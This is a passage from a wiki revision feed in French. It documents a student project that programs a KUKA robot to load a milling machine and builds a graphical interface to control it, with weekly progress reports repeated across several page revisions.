[[Fichier:P27_IHM_5.jpg|center|690px]]&lt;br /&gt;
&lt;br /&gt;
Celle-ci viens s'insérer avant la page 4 qui permet de lancer le programme.&lt;br /&gt;
&lt;br /&gt;
La réalisation du code faisant la liaison entre l'IHM et les trajectoires est plus compliqué que prévu. Nous avons des problèmes pour faire l'appel de nos programmes ainsi que pour la réalisation de nos boucles.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 15 au 19 février 2016 ===&lt;br /&gt;
&lt;br /&gt;
Tests concernant la communication entre l'interface et le robot à l'aide de la librairie CrossCom qui nous a été conseillée par Kuka.&lt;br /&gt;
Cette librairie est disponible uniquement en Visual Basic 6 et l'absence de documentation rend son utilisation difficile. Nous arrivons à récupérer le ''path'' de nos fichiers et à les charger dans le robot via cette librairie mais il reste impossible de les exécuter. Différentes syntaxes on été testées pour lancer un programme, sans succès pour l'instant.&lt;br /&gt;
&lt;br /&gt;
Par la suite nous avons découvert une variable système permettant de lancer un programme en revanche celle-ci est disponible uniquement en lecture. En revanche nous arrivons maintenant à appeler des programmes fils à partir du robot Kuka. Ceci nous permet de tester l'état des capteurs et les valeurs en mémoire du robot et d'appeler des programmes en fonction de ces valeurs.&lt;br /&gt;
&lt;br /&gt;
Du coup pour contourner le problème rencontré au niveau de l’exécution des programme nous avons choisi d’exécuter manuellement un programme main sur le robot qui attend un signal de l'interface graphique pour exécuter nos différents programmes. De cette manière l'interface graphique a seulement besoin de venir écrire les différentes variables dans la mémoire du robot, et l'une de ces variables va déclencher l’exécution du programme. Ceci a pour le moment été testé sans l'utilisation de l'interface graphique, en exécutant directement le programme de communication pour des raisons de compatibilité avec Windows XP. Nous travaillons à résoudre ce problème.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le code principale permettant l’exécution des sous programmes est réalisé et la communication fonctionne.&lt;/div&gt;</summary>
		<author><name>Froyer1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P27_Robot_de_fraiseuse&amp;diff=27258</id>
		<title>P27 Robot de fraiseuse</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P27_Robot_de_fraiseuse&amp;diff=27258"/>
				<updated>2016-02-16T16:19:24Z</updated>
		
		<summary type="html">&lt;p&gt;Froyer1 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;La  société  SARL  LEQUIEN  est  spécialisée  dans  la  fabrication  et  la  commercialisation d’ensembles  mécaniques  et  de  mécano-soudure  de précision,  usinés  en  commande numérique en petites et moyennes séries.&lt;br /&gt;
Notre projet s'inscrit dans le cadre du projet Centaure et consiste à concevoir les déplacements d'un Robot KUKA KR210 R2700 extra ainsi qu'une interface graphique pour la société Lequien (http://www.lequien.fr/).&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Environnement.png|center|500px|Environnement de travail]]&lt;br /&gt;
&lt;br /&gt;
== Descriptif du projet ==&lt;br /&gt;
&lt;br /&gt;
L'objectif de notre projet étant de réaliser la configuration du robot Kuka, nous avons rencontré notre tuteur entreprise le jeudi 24 septembre afin de mettre au point le cahier des charges.&lt;br /&gt;
Le centre de fraisage est équipé de deux palettes permettant le chargement en temps masqué de  pièces à usiner. Chaque palette est équipée  de  deux  faces  d’usinage, permettant  ainsi  le  chargement de plusieurs pièces ou opérations d’usinage. Chaque pièce est produite en petite ou moyenne quantité (rotation quotidienne entre les différents types) et subie une ou deux opérations d'usinage.&lt;br /&gt;
[[Fichier:Usinage piece.png|center|500px]]&lt;br /&gt;
Afin de charger le centre de fraisage, un robot Kuka à été installé afin de permettre le chargement des pièces la nuit. Les pièces sont disposées dans les magasins 1 ou 2 sur des paniers empilés. &lt;br /&gt;
[[Fichier:Dispositif.png|center|500px]]&lt;br /&gt;
&lt;br /&gt;
== Cahier des charges ==&lt;br /&gt;
&lt;br /&gt;
Le projet se décompose en plusieurs phases distinctes. La première partie consiste en la modélisation 3D de la pièce ainsi que la simulation des trajectoires. Pour cela, nous allons utiliser le logiciel Kuka Sim pro qui nous permet de réaliser les cycles des différentes pièces. L'un des cycles à réaliser est le suivant :&lt;br /&gt;
*Prise d’une pièce (1) &lt;br /&gt;
*Dépôt sur le support d’ajustement (2) &lt;br /&gt;
*Dépôt sur le montage de bridage pour la 1ere opération d’usinage (3) &lt;br /&gt;
*Usinage de la 1ere Opération &lt;br /&gt;
*Dépôt sur le support de retournement (4) &lt;br /&gt;
*Dépôt sur le montage de bridage  pour la 2eme opération d’usinage (5) &lt;br /&gt;
*Usinage de la 2eme Opération &lt;br /&gt;
*Dépôt sur le panier fini (6)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Cycle.png|center|500px]]&lt;br /&gt;
&lt;br /&gt;
La deuxième partie consiste à réaliser une base de données qui va référencer les différentes pièces existantes ainsi que les trajectoires qui leurs sont associées. Enfin, la dernière étape sera de réaliser une interface graphique permettant de choisir les pièces à usiner.&lt;br /&gt;
&lt;br /&gt;
Dans le futur, l'entreprise souhaiterait ajouter un poste d'ébavurage afin d'automatiser la finition de la pièce ainsi qu'un recalage par palpage avec RENISHAW afin de recaler les pièces (la tolérance est de 0.1 mm)&lt;br /&gt;
&lt;br /&gt;
== Problématique Majeure du Projet ==&lt;br /&gt;
&lt;br /&gt;
Afin de mener à bien ce projet il y a de nombreuses choses que nous devons prendre en compte. La problématique majeure de ce projet viens du contexte dans lequel il se place. Car cette entreprise usine de nombreuses pièces différentes à la demande du client et donc, cela va induire quelques contraintes et nous obliger à réaliser quelque chose de très flexible.&lt;br /&gt;
&lt;br /&gt;
Premièrement les cycles d'usinages que nous devons programmer sont multiples car comme décrit précédemment la machine d'usinage comporte deux palettes et deux faces par palettes. Suivant les faces disponibles nous allons devoir ajuster notre programme afin de pouvoir réaliser nos opérations d’usinages sur n'importe quelles faces. Mais aussi être capable de gérer plusieurs programmes de façon concurrente.&lt;br /&gt;
&lt;br /&gt;
Pour les pièces comportant deux étapes d’usinages il devra être possible de stopper le programme entre les deux opérations d’usinage dans le cas par exemple d’une commande urgente d’un client.&lt;br /&gt;
&lt;br /&gt;
Une autre contrainte concerne les magasins de pièces. Les pièces sont stockées sur des palettes que l’on va venir empiler les unes sur les autres. Or, suivant le type de pièce il est parfois nécessaire d’ajouter des rehausseurs entre deux palettes. Ces derniers peuvent être de différentes tailles ce qui entraîne une hauteur variable pour chaque palette qui doit être prise en compte lors du programme. &lt;br /&gt;
&lt;br /&gt;
== Avancement du projet ==&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 21 au 25 septembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Rencontre avec le tuteur entreprise afin de mettre au point le cahier des charges&lt;br /&gt;
*Prise des mesures afin de simuler l'environnement de travail&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 5 au 9 octobre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Création du wiki&lt;br /&gt;
*Rédaction du cahier des charges&lt;br /&gt;
*Prise en main du logiciel Kuka Sim Pro&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 12 au 16 octobre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Formation sur le logiciel Kuka Sim Pro&lt;br /&gt;
*Début de la génération de l'environnement&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 19 au 23 octobre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Réalisation des premières trajectoires (Simulation de la fraiseuse et du magasin)&lt;br /&gt;
[[Média:TestTrajectoire.pdf‎]]&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 2 au 6 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Environnement quasiment finalisé&lt;br /&gt;
*Premières gestions des trajectoires avec l'utilisation d'un préhenseur&lt;br /&gt;
[[Média:TestAttachPrehenseur.pdf‎]]&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 9 au 13 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Réalisation d'un cycle avec prise et relâche d'un préhenseur&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 16 au 20 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Rencontre avec le tuteur entreprise pour faire un point sur l'avancement du projet&lt;br /&gt;
*Prise de mesures supplémentaire&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 23 au 27 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Problème pour ajouter du contenu dynamique à l'environnement. (Simulation de vérins pneumatiques)&lt;br /&gt;
*Exportation d'un programme test réalisé avec Kuka sim pro et application fonctionnelle sur le robot KR6&lt;br /&gt;
[[Média:TestKR6.mp4]]&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 30 novembre au 4 décembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Avancement du rapport&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 7 au 11 décembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Tests pour ajouter des parties dynamiques à notre environnement. Pour l'instant aucune solution fonctionnelle.&lt;br /&gt;
*Réalisation de nouvelles trajectoires plus complexes&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 14 au 18 décembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Préparation de la soutenance et peu d'avancement du projet car nous avons rencontré un problème au niveau de la licence des logiciels.&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 4 au 8 janvier 2016 ===&lt;br /&gt;
&lt;br /&gt;
*Tests de récupération de la position du robot lors d'un déplacement piloté en manuel. Nous avons été en salle Kuka et nous avons piloté le robot manuellement vers une position et nous avons ensuite récupéré la position exacte du robot afin de l'intégrer à Kuka sim pro et vérifier que les positions coïncident.&lt;br /&gt;
*Puisque nous avons testé que l'on peut récupérer la position du robot avec un déplacement manuel et fini de réaliser une trajectoire plus complexe, nous avons pris rendez-vous avec l'entreprise afin de réaliser nos ajustements, et de présenter l'avancement de notre projet.&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 11 au 15 janvier 2016 ===&lt;br /&gt;
&lt;br /&gt;
*Rendez-vous avec notre tuteur entreprise lors duquel nous avons présenté l'avancement du projet. Nous avons aussi récupéré le cahier des charges pour l'interface graphique. Cette interface devra finalement être réalisée à partir de zéro suivant le souhait de l'entreprise.&lt;br /&gt;
*Nous avons commencé à réfléchir au développement de l'interface graphique et la façon d'y intégrer nos trajectoires. On nous laisse beaucoup de libertés à ce sujet, nous pensons faire l'interface en C#. &lt;br /&gt;
*Concernant les trajectoires il est possible de rester sur une programmation modulaire, ou l'on fait des trajectoires simples que l'on va utiliser pour réaliser le cycle de production, ou alors réaliser des trajectoires complètes. Étant donné que l'on nous demande beaucoup de souplesse, nous avons choisi de rester sur une programmation modulaire.&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 18 au 22 janvier 2016 ===&lt;br /&gt;
&lt;br /&gt;
*Le lundi 18 nous sommes retournés à l'entreprise afin d'y faire nos ajustements, c'est à dire d'obtenir les positions exactes des éléments de l’environnement afin de le finaliser. Les mesures grossières qui avaient été prises étant proche de la réalité il est donc assez simple d'ajuster les positions.&lt;br /&gt;
*Une partie des trajectoires a également été réalisé (prise des préhenseurs et des pièces, retournement et le déplacement des palettes)&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 25 au 29 janvier 2016 ===&lt;br /&gt;
&lt;br /&gt;
Toutes les trajectoires ont été terminées. De plus, à partir de cette semaine, nous avons commencé la réalisation de l'interface graphique. Pour l'instant, il s'agit d'une interface basique.&lt;br /&gt;
Cette interface doit permettre de lancer un programme sur le robot. Pour cela il faut donc rentrer tous les paramètres nécessaires afin de définir le programme que l'on souhaite lancer.&lt;br /&gt;
&lt;br /&gt;
Les paramètres à définir sont :&lt;br /&gt;
*Le type de pièce que l'on souhaite usiner.&lt;br /&gt;
*Le nombre d'opérations à réaliser sur ces pièces. (une ou deux suivant les pièces)&lt;br /&gt;
*La face de la machine outil utilisée pour cette ou ces opérations. (il y a quatre faces disponibles)&lt;br /&gt;
*L'emplacement ou l'on va venir chercher les pièces à usiner et déposer les pièces usinées. (il y a deux magasins produit dans l'environnement du robot)&lt;br /&gt;
*Et pour finir le nombre de pièces que l'on va usiner.&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 1 au 5 février 2016 ===&lt;br /&gt;
&lt;br /&gt;
Une version alpha de l'interface à été réalisée.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:P27_IHM_1.jpg|center|690px]]&lt;br /&gt;
[[Fichier:P27_IHM_2.jpg|center|690px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sur la page 1, à gauche, on peut voir le choix du type de pièce entre les pièces 1, 2 et 3. Ce choix est assisté via des illustrations des pièces en question avec le préhenseur utilisé pour ce type de pièce. Pour le moment nous avons utilisé les images que nous avions à notre disposition mais par la suite nous aurons d'autres images.&lt;br /&gt;
De même, nous avons actuellement des boutons afin de modifier les images, ces boutons ont été implanté car sur l'interface précédente il était possible de le faire. En revanche nous pensons à les retirer car ils ne sont pas des plus important.&lt;br /&gt;
&lt;br /&gt;
Sur la page 2, à droite, se trouve le choix du nombre d'opérations d'usinage. L'OP10 correspond à une opération et l'OP20 à deux opérations. Ici aussi les images sont temporaires afin de pouvoir bien visualiser mais nous allons les remplacer dès que possible.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:P27_IHM_3.jpg|center|690px]]&lt;br /&gt;
[[Fichier:P27_IHM_3bis.jpg|center|690px]]&lt;br /&gt;
&lt;br /&gt;
Les pages 3 et 3bis sont les pages permettant de choisir ou va être réalisé l'opération d'usinage au sein des 4 faces possibles. La page 3bis permet de prendre en compte le cas ou l'on doit faire deux opérations d'usinage et permet donc de sélectionner les faces pour la première et la seconde opération.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:P27_IHM_4.jpg|center|690px]]&lt;br /&gt;
[[Fichier:P27_IHM_4bis.jpg|center|690px]]&lt;br /&gt;
&lt;br /&gt;
La page 4 est la page permettant d'entrer le nombre de pièces que l'on veux usiner ainsi que le magasin ou l'on va venir chercher les pièces brutes pour l'usinage. Comme on peux le voir sur l'image de droite, lorsque l'on veux lancer le programme, on a une fenêtre de confirmation qui récapitule les choix réalisés avant le lancement du programme.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ceci récapitule la partie graphique de notre interface. Maintenant nous souhaitons faire des tests concernant la communication avec le robot, par contre nous n'avons que peu d'informations concernant la communication. Nous attendons donc une réponse de Kuka concernant ce point, pour le moment nous allons essayer de réaliser cette communication par nous même.&lt;br /&gt;
&lt;br /&gt;
Nous avons également commencé la réalisation d'un code permettant de lancer les trajectoires souhaitées en fonction des choix fait dans l'IHM.&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 8 au 12 février 2016 ===&lt;br /&gt;
&lt;br /&gt;
Une petite modification a été réalisée au sein de l'interface graphique car un point avait été oublié. Il est parfois nécessaire de retourner la pièce avant ou après une opération d'usinage. C'est pourquoi ils disposent d'une surface d'attente sur le magasin ou sont posé les préhenseurs. Si un retournement est nécessaire, le robot viens déposer la pièce sur cette surface d'attente et la reprendre sous un angle différent.&lt;br /&gt;
&lt;br /&gt;
C'est pourquoi nous avons eu à ajouter une fenêtre ou l'utilisateur peut choisir les retournement nécessaire à l'usinage. Il y en a 3 au maximum.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:P27_IHM_5.jpg|center|690px]]&lt;br /&gt;
&lt;br /&gt;
Celle-ci viens s'insérer avant la page 4 qui permet de lancer le programme.&lt;br /&gt;
&lt;br /&gt;
La réalisation du code faisant la liaison entre l'IHM et les trajectoires est plus compliqué que prévu. Nous avons des problèmes pour faire l'appel de nos programmes ainsi que pour la réalisation de nos boucles.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 15 au 19 février 2016 ===&lt;br /&gt;
&lt;br /&gt;
Tests concernant la communication entre l'interface et le robot à l'aide de la librairie CrossCom qui nous a été conseillée par Kuka.&lt;br /&gt;
Cette librairie est disponible uniquement en Visual Basic 6 et l'absence de documentation rend son utilisation difficile. Nous arrivons à récupérer le ''path'' de nos fichiers sur le robot via cette librairie mais il reste impossible de les exécuter. Différentes syntaxes on été testées pour lancer un programme, sans succès pour l'instant.&lt;/div&gt;</summary>
		<author><name>Froyer1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P27_Robot_de_fraiseuse&amp;diff=27165</id>
		<title>P27 Robot de fraiseuse</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P27_Robot_de_fraiseuse&amp;diff=27165"/>
				<updated>2016-02-16T12:50:06Z</updated>
		
		<summary type="html">&lt;p&gt;Froyer1 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;La  société  SARL  LEQUIEN  est  spécialisée  dans  la  fabrication  et  la  commercialisation d’ensembles  mécaniques  et  de  mécano-soudure  de précision,  usinés  en  commande numérique en petites et moyennes séries.&lt;br /&gt;
Notre projet s'inscrit dans le cadre du projet Centaure et consiste à concevoir les déplacements d'un Robot KUKA KR210 R2700 extra ainsi qu'une interface graphique pour la société Lequien (http://www.lequien.fr/).&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Environnement.png|center|500px|Environnement de travail]]&lt;br /&gt;
&lt;br /&gt;
== Descriptif du projet ==&lt;br /&gt;
&lt;br /&gt;
L'objectif de notre projet étant de réaliser la configuration du robot Kuka, nous avons rencontré notre tuteur entreprise le jeudi 24 septembre afin de mettre au point le cahier des charges.&lt;br /&gt;
Le centre de fraisage est équipé de deux palettes permettant le chargement en temps masqué de  pièces à usiner. Chaque palette est équipée  de  deux  faces  d’usinage, permettant  ainsi  le  chargement de plusieurs pièces ou opérations d’usinage. Chaque pièce est produite en petite ou moyenne quantité (rotation quotidienne entre les différents types) et subie une ou deux opérations d'usinage.&lt;br /&gt;
[[Fichier:Usinage piece.png|center|500px]]&lt;br /&gt;
Afin de charger le centre de fraisage, un robot Kuka à été installé afin de permettre le chargement des pièces la nuit. Les pièces sont disposées dans les magasins 1 ou 2 sur des paniers empilés. &lt;br /&gt;
[[Fichier:Dispositif.png|center|500px]]&lt;br /&gt;
&lt;br /&gt;
== Cahier des charges ==&lt;br /&gt;
&lt;br /&gt;
Le projet se décompose en plusieurs phases distinctes. La première partie consiste en la modélisation 3D de la pièce ainsi que la simulation des trajectoires. Pour cela, nous allons utiliser le logiciel Kuka Sim pro qui nous permet de réaliser les cycles des différentes pièces. L'un des cycles à réaliser est le suivant :&lt;br /&gt;
*Prise d’une pièce (1) &lt;br /&gt;
*Dépôt sur le support d’ajustement (2) &lt;br /&gt;
*Dépôt sur le montage de bridage pour la 1ere opération d’usinage (3) &lt;br /&gt;
*Usinage de la 1ere Opération &lt;br /&gt;
*Dépôt sur le support de retournement (4) &lt;br /&gt;
*Dépôt sur le montage de bridage  pour la 2eme opération d’usinage (5) &lt;br /&gt;
*Usinage de la 2eme Opération &lt;br /&gt;
*Dépôt sur le panier fini (6)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Cycle.png|center|500px]]&lt;br /&gt;
&lt;br /&gt;
La deuxième partie consiste à réaliser une base de données qui va référencer les différentes pièces existantes ainsi que les trajectoires qui leurs sont associées. Enfin, la dernière étape sera de réaliser une interface graphique permettant de choisir les pièces à usiner.&lt;br /&gt;
&lt;br /&gt;
Dans le futur, l'entreprise souhaiterait ajouter un poste d'ébavurage afin d'automatiser la finition de la pièce ainsi qu'un recalage par palpage avec RENISHAW afin de recaler les pièces (la tolérance est de 0.1 mm)&lt;br /&gt;
&lt;br /&gt;
== Problématique Majeure du Projet ==&lt;br /&gt;
&lt;br /&gt;
Afin de mener à bien ce projet il y a de nombreuses choses que nous devons prendre en compte. La problématique majeure de ce projet viens du contexte dans lequel il se place. Car cette entreprise usine de nombreuses pièces différentes à la demande du client et donc, cela va induire quelques contraintes et nous obliger à réaliser quelque chose de très flexible.&lt;br /&gt;
&lt;br /&gt;
Premièrement les cycles d'usinages que nous devons programmer sont multiples car comme décrit précédemment la machine d'usinage comporte deux palettes et deux faces par palettes. Suivant les faces disponibles nous allons devoir ajuster notre programme afin de pouvoir réaliser nos opérations d’usinages sur n'importe quelles faces. Mais aussi être capable de gérer plusieurs programmes de façon concurrente.&lt;br /&gt;
&lt;br /&gt;
Pour les pièces comportant deux étapes d’usinages il devra être possible de stopper le programme entre les deux opérations d’usinage dans le cas par exemple d’une commande urgente d’un client.&lt;br /&gt;
&lt;br /&gt;
Une autre contrainte concerne les magasins de pièces. Les pièces sont stockées sur des palettes que l’on va venir empiler les unes sur les autres. Or, suivant le type de pièce il est parfois nécessaire d’ajouter des rehausseurs entre deux palettes. Ces derniers peuvent être de différentes tailles ce qui entraîne une hauteur variable pour chaque palette qui doit être prise en compte lors du programme. &lt;br /&gt;
&lt;br /&gt;
== Avancement du projet ==&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 21 au 25 septembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Rencontre avec le tuteur entreprise afin de mettre au point le cahier des charges&lt;br /&gt;
*Prise des mesures afin de simuler l'environnement de travail&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 5 au 9 octobre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Création du wiki&lt;br /&gt;
*Rédaction du cahier des charges&lt;br /&gt;
*Prise en main du logiciel Kuka Sim Pro&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 12 au 16 octobre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Formation sur le logiciel Kuka Sim Pro&lt;br /&gt;
*Début de la génération de l'environnement&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 19 au 23 octobre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Réalisation des premières trajectoires (Simulation de la fraiseuse et du magasin)&lt;br /&gt;
[[Média:TestTrajectoire.pdf‎]]&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 2 au 6 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Environnement quasiment finalisé&lt;br /&gt;
*Premières gestions des trajectoires avec l'utilisation d'un préhenseur&lt;br /&gt;
[[Média:TestAttachPrehenseur.pdf‎]]&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 9 au 13 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Réalisation d'un cycle avec prise et relâche d'un préhenseur&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 16 au 20 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Rencontre avec le tuteur entreprise pour faire un point sur l'avancement du projet&lt;br /&gt;
*Prise de mesures supplémentaire&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 23 au 27 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Problème pour ajouter du contenu dynamique à l'environnement. (Simulation de vérins pneumatiques)&lt;br /&gt;
*Exportation d'un programme test réalisé avec Kuka sim pro et application fonctionnelle sur le robot KR6&lt;br /&gt;
[[Média:TestKR6.mp4]]&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 30 novembre au 4 décembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Avancement du rapport&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 7 au 11 décembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Tests pour ajouter des parties dynamiques à notre environnement. Pour l'instant aucune solution fonctionnelle.&lt;br /&gt;
*Réalisation de nouvelles trajectoires plus complexes&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 14 au 18 décembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Préparation de la soutenance et peu d'avancement du projet car nous avons rencontré un problème au niveau de la licence des logiciels.&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 4 au 8 janvier 2016 ===&lt;br /&gt;
&lt;br /&gt;
*Tests de récupération de la position du robot lors d'un déplacement piloté en manuel. Nous avons été en salle Kuka et nous avons piloté le robot manuellement vers une position et nous avons ensuite récupéré la position exacte du robot afin de l'intégrer à Kuka sim pro et vérifier que les positions coïncident.&lt;br /&gt;
*Puisque nous avons testé que l'on peut récupérer la position du robot avec un déplacement manuel et fini de réaliser une trajectoire plus complexe, nous avons pris rendez-vous avec l'entreprise afin de réaliser nos ajustements, et de présenter l'avancement de notre projet.&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 11 au 15 janvier 2016 ===&lt;br /&gt;
&lt;br /&gt;
*Rendez-vous avec notre tuteur entreprise lors duquel nous avons présenté l'avancement du projet. Nous avons aussi récupéré le cahier des charges pour l'interface graphique. Cette interface devra finalement être réalisée à partir de zéro suivant le souhait de l'entreprise.&lt;br /&gt;
*Nous avons commencé à réfléchir au développement de l'interface graphique et la façon d'y intégrer nos trajectoires. On nous laisse beaucoup de libertés à ce sujet, nous pensons faire l'interface en C#. &lt;br /&gt;
*Concernant les trajectoires il est possible de rester sur une programmation modulaire, ou l'on fait des trajectoires simples que l'on va utiliser pour réaliser le cycle de production, ou alors réaliser des trajectoires complètes. Étant donné que l'on nous demande beaucoup de souplesse, nous avons choisi de rester sur une programmation modulaire.&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 18 au 22 janvier 2016 ===&lt;br /&gt;
&lt;br /&gt;
*Le lundi 18 nous sommes retournés à l'entreprise afin d'y faire nos ajustements, c'est à dire d'obtenir les positions exactes des éléments de l’environnement afin de le finaliser. Les mesures grossières qui avaient été prises étant proche de la réalité il est donc assez simple d'ajuster les positions.&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 25 au 29 janvier 2016 ===&lt;br /&gt;
&lt;br /&gt;
A partir de cette semaine nous avons commencé la réalisation de l'interface graphique. Pour l'instant, il s'agit d'une interface basique.&lt;br /&gt;
Cette interface doit permettre de lancer un programme sur le robot. Pour cela il faut donc rentrer tous les paramètres nécessaires afin de définir le programme que l'on souhaite lancer.&lt;br /&gt;
&lt;br /&gt;
Les paramètres à définir sont :&lt;br /&gt;
*Le type de pièce que l'on souhaite usiner.&lt;br /&gt;
*Le nombre d'opérations à réaliser sur ces pièces. (une ou deux suivant les pièces)&lt;br /&gt;
*La face de la machine outil utilisée pour cette ou ces opérations. (il y a quatre faces disponibles)&lt;br /&gt;
*L'emplacement ou l'on va venir chercher les pièces à usiner et déposer les pièces usinées. (il y a deux magasins produit dans l'environnement du robot)&lt;br /&gt;
*Et pour finir le nombre de pièces que l'on va usiner.&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 1 au 5 février 2016 ===&lt;br /&gt;
&lt;br /&gt;
Une version alpha de l'interface à été réalisée.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:P27_IHM_1.jpg|center|690px]]&lt;br /&gt;
[[Fichier:P27_IHM_2.jpg|center|690px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sur la page 1, à gauche, on peut voir le choix du type de pièce entre les pièces 1, 2 et 3. Ce choix est assisté via des illustrations des pièces en question avec le préhenseur utilisé pour ce type de pièce. Pour le moment nous avons utilisé les images que nous avions à notre disposition mais par la suite nous aurons d'autres images.&lt;br /&gt;
De même, nous avons actuellement des boutons afin de modifier les images, ces boutons ont été implanté car sur l'interface précédente il était possible de le faire. En revanche nous pensons à les retirer car ils ne sont pas des plus important.&lt;br /&gt;
&lt;br /&gt;
Sur la page 2, à droite, se trouve le choix du nombre d'opérations d'usinage. L'OP10 correspond à une opération et l'OP20 à deux opérations. Ici aussi les images sont temporaires afin de pouvoir bien visualiser mais nous allons les remplacer dès que possible.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:P27_IHM_3.jpg|center|690px]]&lt;br /&gt;
[[Fichier:P27_IHM_3bis.jpg|center|690px]]&lt;br /&gt;
&lt;br /&gt;
Les pages 3 et 3bis sont les pages permettant de choisir ou va être réalisé l'opération d'usinage au sein des 4 faces possibles. La page 3bis permet de prendre en compte le cas ou l'on doit faire deux opérations d'usinage et permet donc de sélectionner les faces pour la première et la seconde opération.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:P27_IHM_4.jpg|center|690px]]&lt;br /&gt;
[[Fichier:P27_IHM_4bis.jpg|center|690px]]&lt;br /&gt;
&lt;br /&gt;
La page 4 est la page permettant d'entrer le nombre de pièces que l'on veux usiner ainsi que le magasin ou l'on va venir chercher les pièces brutes pour l'usinage. Comme on peux le voir sur l'image de droite, lorsque l'on veux lancer le programme, on a une fenêtre de confirmation qui récapitule les choix réalisés avant le lancement du programme.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ceci récapitule la partie graphique de notre interface. Maintenant nous souhaitons faire des tests concernant la communication avec le robot, par contre nous n'avons que peu d'informations concernant la communication. Nous attendons donc une réponse de Kuka concernant ce point, pour le moment nous allons essayer de réaliser cette communication par nous même.&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 8 au 12 février 2016 ===&lt;br /&gt;
&lt;br /&gt;
Une petite modification a été réalisée au sein de l'interface graphique car un point avait été oublié. Il est parfois nécessaire de retourner la pièce avant ou après une opération d'usinage. C'est pourquoi ils disposent d'une surface d'attente sur le magasin ou sont posé les préhenseurs. Si un retournement est nécessaire, le robot viens déposer la pièce sur cette surface d'attente et la reprendre sous un angle différent.&lt;br /&gt;
&lt;br /&gt;
C'est pourquoi nous avons eu à ajouter une fenêtre ou l'utilisateur peut choisir les retournement nécessaire à l'usinage. Il y en a 3 au maximum.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:P27_IHM_5.jpg|center|690px]]&lt;br /&gt;
&lt;br /&gt;
Celle-ci viens s'insérer avant la page 4 qui permet de lancer le programme.&lt;/div&gt;</summary>
		<author><name>Froyer1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P27_Robot_de_fraiseuse&amp;diff=26781</id>
